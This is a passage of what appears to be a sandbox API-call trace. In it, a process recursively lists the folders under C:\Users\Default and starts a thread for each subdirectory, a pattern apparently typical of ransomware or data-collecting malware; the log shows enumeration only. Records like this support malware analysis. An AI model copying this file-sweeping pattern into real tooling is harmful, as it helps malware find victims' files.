Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0168.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ffe0) returned 1 [0168.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f803e0) returned 1 [0168.652] RtlExitUserThread (Status=0x0) Thread: id = 1734 os_tid = 0x3f4 [0168.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f803e0 [0168.656] wcscpy (in: _Dest=0x2f803e0, _Source="C:\\Users\\Default\\Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0168.656] wcscat (in: _Dest=0x2f803e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0168.656] wcscat (in: _Dest=0x2f803e0, _Source="*" | out: _Dest="C:\\Users\\Default\\Desktop\\*") returned="C:\\Users\\Default\\Desktop\\*" [0168.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0168.656] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffe0 [0168.657] wcscmp (_String1=".", _String2=".") returned 0 [0168.657] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.657] wcscmp (_String1="..", _String2=".") returned 1 [0168.657] wcscmp (_String1="..", _String2="..") returned 0 [0168.657] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.657] FindClose (in: hFindFile=0x2f7ffe0 | out: hFindFile=0x2f7ffe0) returned 1 [0168.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0168.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f803e0) returned 1 [0168.657] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80560) returned 1 [0168.657] RtlExitUserThread (Status=0x0) Thread: id = 1735 os_tid = 0x12c [0168.658] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f874b8 [0168.658] wcscpy (in: _Dest=0x2f874b8, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0168.658] wcscat (in: _Dest=0x2f874b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0168.658] wcscat (in: _Dest=0x2f874b8, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*" [0168.658] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0168.658] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803e0 [0168.661] wcscmp (_String1=".", _String2=".") returned 0 [0168.661] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.661] wcscmp (_String1="..", _String2=".") returned 1 [0168.661] wcscmp (_String1="..", _String2="..") returned 0 [0168.661] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0168.661] wcscmp (_String1="My Music", _String2=".") returned 1 [0168.661] wcscmp (_String1="My Music", _String2="..") returned 1 [0168.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x48) returned 0x2fa1900 [0168.661] wcscpy (in: _Dest=0x2fa1900, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0168.661] wcscat (in: _Dest=0x2fa1900, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0168.661] wcscat (in: _Dest=0x2fa1900, _Source="My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0168.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0168.810] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0168.810] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0168.810] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f88dc0 [0168.810] wcscpy (in: _Dest=0x2f88dc0, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0168.810] wcscat (in: _Dest=0x2f88dc0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0168.810] wcscat (in: _Dest=0x2f88dc0, _Source="My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0168.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0168.811] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0168.811] wcscmp (_String1="My Videos", _String2=".") returned 1 [0168.811] wcscmp (_String1="My Videos", _String2="..") returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f88f78 [0168.811] wcscpy (in: _Dest=0x2f88f78, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0168.811] wcscat (in: _Dest=0x2f88f78, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0168.811] wcscat (in: _Dest=0x2f88f78, _Source="My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0168.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0168.812] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0168.812] FindClose (in: hFindFile=0x2f803e0 | out: hFindFile=0x2f803e0) returned 1 [0168.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0168.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0168.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f801e0) returned 1 [0168.813] RtlExitUserThread (Status=0x0) Thread: id = 1736 os_tid = 0xdc4 [0168.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0168.661] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0168.661] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0168.661] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*" [0168.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80560 [0168.662] wcscmp (_String1=".", _String2=".") returned 0 [0168.662] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.662] wcscmp (_String1="..", _String2=".") returned 1 [0168.662] wcscmp (_String1="..", _String2="..") returned 0 [0168.662] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.662] FindClose (in: hFindFile=0x2f80560 | out: hFindFile=0x2f80560) returned 1 [0168.662] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.662] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.662] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0168.662] RtlExitUserThread (Status=0x0) Thread: id = 1737 os_tid = 0xdd0 [0168.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87590 [0168.665] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0168.665] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0168.665] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*" [0168.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.665] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0168.666] wcscmp (_String1=".", _String2=".") returned 0 [0168.666] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.666] wcscmp (_String1="..", _String2=".") returned 1 [0168.666] wcscmp (_String1="..", _String2="..") returned 0 [0168.666] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.666] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0168.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80360) returned 1 [0168.666] RtlExitUserThread (Status=0x0) Thread: id = 1738 os_tid = 0xdf0 [0168.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80320 [0168.667] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Users\\Default\\Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0168.667] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0168.667] wcscat (in: _Dest=0x2f80320, _Source="*" | out: _Dest="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*" [0168.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.667] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0168.667] wcscmp (_String1=".", _String2=".") returned 0 [0168.667] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.667] wcscmp (_String1="..", _String2=".") returned 1 [0168.667] wcscmp (_String1="..", _String2="..") returned 0 [0168.668] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.668] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0168.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0168.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013248) returned 1 [0168.671] RtlExitUserThread (Status=0x0) Thread: id = 1739 os_tid = 0xddc [0168.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2fa19a0 [0168.672] wcscpy (in: _Dest=0x2fa19a0, _Source="C:\\Users\\Default\\Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0168.672] wcscat (in: _Dest=0x2fa19a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0168.672] wcscat (in: _Dest=0x2fa19a0, _Source="*" | out: _Dest="C:\\Users\\Default\\Local Settings\\*") returned="C:\\Users\\Default\\Local Settings\\*" [0168.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.672] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa19a0) returned 1 [0168.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0168.672] RtlExitUserThread (Status=0x0) Thread: id = 1740 os_tid = 0xde4 [0168.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80320 [0168.673] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Users\\Default\\Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0168.674] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0168.674] wcscat (in: _Dest=0x2f80320, _Source="*" | out: _Dest="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*" [0168.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.674] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0168.674] wcscmp (_String1=".", _String2=".") returned 0 [0168.674] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.674] wcscmp (_String1="..", _String2=".") returned 1 [0168.675] wcscmp (_String1="..", _String2="..") returned 0 [0168.675] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.675] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0168.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80320) returned 1 [0168.675] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013718) returned 1 [0168.675] RtlExitUserThread (Status=0x0) Thread: id = 1741 os_tid = 0xde8 [0168.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0168.676] wcscpy (in: _Dest=0x2f87590, _Source="C:\\Users\\Default\\My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0168.676] wcscat (in: _Dest=0x2f87590, _Source="\\" | out: _Dest="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0168.676] wcscat (in: _Dest=0x2f87590, _Source="*" | out: _Dest="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*" [0168.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.676] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a0) returned 1 [0168.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87350) returned 1 [0168.676] RtlExitUserThread (Status=0x0) Thread: id = 1742 os_tid = 0x45c [0168.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80320 [0168.682] wcscpy (in: _Dest=0x2f80320, _Source="C:\\Users\\Default\\NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0168.682] wcscat (in: _Dest=0x2f80320, _Source="\\" | out: _Dest="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0168.682] wcscat (in: _Dest=0x2f80320, _Source="*" | out: _Dest="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*" [0168.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe12a0 [0168.682] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x2fe12a0 | out: lpFindFileData=0x2fe12a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 